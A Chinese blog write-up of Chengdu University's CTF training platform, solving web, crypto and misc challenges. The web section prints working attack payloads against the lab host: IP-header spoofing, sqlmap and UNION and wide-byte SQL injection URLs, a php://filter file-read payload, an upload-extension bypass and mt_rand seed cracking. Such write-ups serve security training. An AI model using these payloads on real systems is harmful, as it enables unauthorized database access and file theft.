1

CTF-成都大学网络攻防演练平台

 2 years ago
source link: https://lddp.github.io/2018/12/29/CTF-%E6%88%90%E9%83%BD%E5%A4%A7%E5%AD%A6%E7%BD%91%E7%BB%9C%E6%94%BB%E9%98%B2%E6%BC%94%E7%BB%83%E5%B9%B3%E5%8F%B0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

About CTF&wp

成都大学网络攻防平台

这是跟几个老哥一起刷的,只不过我太菜。一直没时间,今天才决定要把wp写一下。由于太菜,re没有做,回头问问大佬们再写。

成都大学网络攻防平台

很简单的入门题目,F12修改下html限制就好了。

<input type="text" name="key" maxlength="6">

把maxlength删除了就可以了。

get提提交个数据就好了。

http://ctf.cdusec.org:8082/web2/?cdusec=tql

post提交一个数据。firefox的F12就可以实现,或者你可以选择hackbar。

Three Zero Two

看题目就可以知道,是一个302跳转,点开题目链接进去一看,url为:

http://ctf.cdusec.org:8082/web4/1ndex.php

注意是1ndex.php,而不是index.php。不用墨迹,直接抓包就好了。

image

Where are you from?

进入页面,发现提示,只允许管理员进入。很简单,管理员登陆一般都是在本地进行的,所以直接进行客户端ip伪造就好了。

五种客户端IP伪造方式:

X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr

那么接下来就好办了,伪造客户端IP地址。

GET /web5/ HTTP/1.1
Host: ctf.cdusec.org:8082
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1

发包直接getflag。

MD5碰撞

题目源码:

<?php 
error_reporting(0); 
include_once('flag.php'); 
highlight_file('index.php');  

$md51 = md5('QNKCDZO'); 
$a = $_GET['b']; 
$md52 = md5($a); 
if(isset($a)){ 
if ($a != 'QNKCDZO' && $md51 == $md52) { 
    echo $flag; 
} else { 
    echo "false!!!"; 
}} 
?>

这个就参考我之前写的那个PHP黑魔法,第一个就是解决这个题目的方法,在里面随便找一组字符串,提交就可以获取flag。这是一个典型的hash比较缺陷题目。

简单的注入

sqlmap一把梭

sqlmap -u "http://ctf.cdusec.org:8083/sqli.php?id=1" --dbs

联合查询:

http://ctf.cdusec.org:8083/sqli.php?id=-1%20union%20select%201,2--+
http://ctf.cdusec.org:8083/sqli.php?id=-1%20union%20select%201,database()--+
http://ctf.cdusec.org:8083/sqli.php?id=-1%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+

懒得查字段名了,直接猜flag

http://ctf.cdusec.org:8083/sqli.php?id=-1%20union%20select%201,flag%20from%20flag--+
<?php
echo "PHP 5.4.26";
mt_srand(xxxxxxxx);
# We can't tell you what is xxxxxxxx!
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo "echo flag{".mt_rand()."}"
?>
984489752
619387123
2070958802
2105559368
1909473866
1679323715
1910332168
640569646
1103001695
1871111424
flag

So, Please guess the flag!

先做一个科普:

首先我们要知道,每一次调用mt_rand()函数的时候,都会检查一下系统有没有播种。(播种是由mt_srand()函数完成的),当随机种子生成后,后面生成的随机数都会根据这个随机种子生成。所以前面也说到,同一个种子下随机生成的随机数值是相同的。同时,也解释了我们破解随机种子的可行性。如果每次调用mt_rand()函数都需要生成一个随机种子的话,那根本就没办法破解。

mt_srand()函数播种的时候,只有在第一次调用mt_rand()函数的时候才会使用。所以如果我们知道了第一次生成的随机数值,就可能爆破出随机数种子。

工具

注意,题目中标示了php的版本,注意一定要把版本搞对,不然可能一直都跑不对。

工具自带的README实在是比较难理解,推荐看这个php_mt_seed。把题目给的生成的一组随机数的第一个数用作爆破。

./php_mt_seed 984489752
seed = 12345679
seed = 1039460795

再模仿一个php的脚本

<?php
$seed = xxxx;
mt_srand($seed);
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo "echo flag{".mt_rand()."}"
?>

把上面的两组seed值带入,跑两次,得出两组flag:

flag{2003170939}
flag{1014721809}

接下来,提交两次,就可以知道哪个为正确的flag

很常见的一个文件包含漏洞,没啥技术含量。可以参考我之前写的文件包含漏洞

http://ctf.cdusec.org:8085/index.php?filename=php://filter/read=convert.base64-encode/resource=flag.php

然后进行base64解密就好了。

php反序列化

这个题目根本就是个误导,虽然有serialize函数,但问题根本就不是这里,问题的根本是base64填充。直接上脚本:

import requests as req

data = {
    "id": ' '*100+'cdusec-ctflag???'
}
res = req.post("http://ctf.cdusec.org:8082/web7/index.php", data=data)
if res.status_code == 200:
    print(res.content)

更简单的注入

sqlmap一把梭:

sqlmap -u "http://ctf.cdusec.org:8084/sqli.php?id=1" --dbs

盲注,结合上面的简单的注入,加上猜解判断即可。(PS:实际上我是sqlmap一把梭)

有趣的注入

访问http://ctf.cdusec.org:8086/sqli.php?id=1,查看源代码,发现

<meta charset="gbk" />

这就好办了,典型的宽字节注入,详情查看我的博客的宽字节注入

方法一:bash

sqlmap -u "http://ctf.cdusec.org:8086/sqli.php?id=-1%df'" --dbs

手动宽字节注入:

一样的流程,只不过跟简单的注入相比,多了一个%df而已。直接上最终的payload:

http://ctf.cdusec.org:8086/sqli.php?id=-1%df%27%20union%20select%201,2,flag%20from%20flag--+

upload

进入页面,发现需要进行登陆,但是并不知道密码,一开始猜测可能是暴力破解弱口令,但是看了一下请求包发现,就在请求包里

image

拿到了密码,直接复制登陆,进入到上传页面。
随便上传一个png文件,显示成功。但是上传php文件的时候,开始拒绝。

You cannot upload files of this type!

然后尝试修改后缀php3,然后发现直接成功了。。。。

image

关于文件上传部分知识点,在我博客文件上传中有介绍。

这个注入有点难?

没做出来。。。。。。

Crypto

Crypto_签到

直接就有flag。。。

凯撒大帝降临

直接进行凯撒位移就行。

fuck!这是什么鬼

js-fuck编码,直接在控制台运行就可以了。

不一样的morse

上网址摩斯密码解密

你熟悉键盘吗?

4eszrfvd ygvhnji 76tyujnb 7412 4eszrfvd

你可以按照顺序,在键盘上画一画,答案就出来了,加上flag就行。

flag{ANgLA}

啊啊啊蕾蕾姐被表白了

33532141437432217493

重点:手机短信、内容长度是偶数、数字的第二位都在1~4之间

image

可以看下这个图,123456789对应的9个键。把题目给的一串数字两两一组划分开:

33 53 21 41 43 74 32 21 74 93

按照手机的9键输入一一对应:

f l a g i s e a s y

加上flag{}就是最终答案了。

奇怪的字符串

NYYNNYYN NYYNYYNN NYYNNNNY NYYNNYYY NYYYYNYY NYYNYNYY NNYYNNYY NYYYYNNY NYNYYYYY NYYNYNNY NNYYNYNY NYNYYYYY NYYNYNNN NYYNNYNY NYNYNNYN NYYNNYNY NYYYYYNY

这里我给出两个单词,这个题目就一目了然了。

NO YES

而NO跟YES在计算机的世界里又代表0跟1。这个题目就可以转化为:

01100110 01101100 01100001 01100111 01111011 01101011 00110011 01111001 01011111 01101001 00110101 01011111 01101000 01100101
01010010 01100101 01111101

二进制转字符串(注意:空格是需要去掉的):

flag{k3y_i5_heRe}

the other base’s member

2ZarhfbBYwrHU7FRGN2YLbqgcCW7giT6KZx8KhF3NV2

看起来是个base加密,嗯,它还就是个base加密……

base64解密失败,base32解密失败,base16解密失败……

再去看题目,the other base’s member,其他的base方式,我就去试了试base58,成功。

base58解密:

flag{B4Se_f4mi1y_v3Ry_BBBBBBig}

easy_base_family

就是一个超级大的base全家桶,我第一次写的脚本比较笨,不建议采纳,可以用try函数进行改进,先po上我的脚本,欢迎大家给我提建议。

import base64
with open('base_family.txt','r+') as f:
    text = f.read()
    text = base64.b16decode(text)
    text = base64.b64decode(text)
    text = base64.b32decode(text)
    text = base64.b16decode(text)
    text = base64.b16decode(text)
    text = base64.b32decode(text)
    text = base64.b16decode(text)
    text = base64.b64decode(text)
    text = base64.b64decode(text)
    text = base64.b32decode(text)
    text = base64.b64decode(text)
    text = base64.b16decode(text)
    text = base64.b32decode(text)
    text = base64.b32decode(text)
    text = base64.b32decode(text)
    text = base64.b64decode(text)
    text = base64.b16decode(text)
    text = base64.b32decode(text)
    text = base64.b16decode(text)
    text = base64.b64decode(text)
    text = base64.b64decode(text)
    text = base64.b16decode(text)
    text = base64.b16decode(text)
    text = base64.b16decode(text)
    #text = text.decode('utf-8')
    print(text)

蕾蕾姐的id

题目主要内容就是进行md5爆破了,不废话了,上脚本:

import hashlib
str="qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM0987654321"
for a in str:
    for b in str:
        for c in str:
            for d in str:
                ming=a+b+c+d
                ming=bytes(ming,encoding='utf-8')
                m=hashlib.md5()
                m.update(ming)
                if(m.hexdigest()[2:5]=='fdc') and (m.hexdigest()[29:32]=='41d'):
                    print(ming)
                    print(m.hexdigest())
546865206c656e677468206f662074686520666c6167277320636f6e74656e743a203130

密文:rquutrqqrtulrutuuurr

看题目提示就知道是一个棋盘密码。。。
直接找了个脚本在跑:

import itertools
key = []
cipher = "rquutrqqrtulrutuuurr"

for i in itertools.permutations('rqutl',5):
    key.append(''.join(i))

for now_key in key:
    solve_c = ""
    res = ""
    for now_c in cipher:
        solve_c += str(now_key.index(now_c))
    for i in range(0,len(solve_c),2):
        now_ascii = int(solve_c[i])*5+int(solve_c[i+1])+97
        if now_ascii>ord('i'):
            now_ascii+=1
        res += chr(now_ascii)
    if "flag" in res:
        print(now_key,res)

Easy_misc3

题目: What is the docx?

这里科普一个知识点,docx,其本质就是一个压缩包。所以你把下载下来的docx文件改为zip,就可以看到里面的flag.txt了。

Esay_misc2

题目:xor

图片异或题目,使用神器Stegsolve进行xor异或就行了。
图片懒得截了。语言描述一波……

使用工具打开图片后,然后转到alpha plane0通道,点file菜单,点击save as保存为bmp格式,然后同理把blue,red,green的0通道分别保存为bmp格式。

保存完后打开保存的alpha的bmp图片,然后点击菜单栏的analyse,点击image combiner打开另外一种颜色的0通道保存的图片,进行两张图片异或对比,flag就出来了

catch

题目:ping

科普:ping使用的是ICMP协议。

使用wireshark打开,过滤ICMP,看看数据包的内容,找data数据就可以了。

你倒是先解压啊

建议使用360压缩,绕过所有伪加密。。。

docx文件,还是一个压缩包,进去慢慢找一找,会有一个flag的图片的。

misc4

巅峰极客大赛真题。

推荐郁师傅的博客

图片隐写,使用F5刷新工具即可

工具

flag{F5_f5_F5_Ez!!!}

RE有老哥给过我wp,但是由于水平不够,RE实在是不会,于是乎就先不写了。

成都大学的平台还是不错的,不少的脑洞题目,比较有感觉。继续肝newbugku了,写的差不多了,再出wp。(PS:最近图床换了,所以很不稳定,各种懒,各种不截图,将就看吧,膜各位大佬)


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK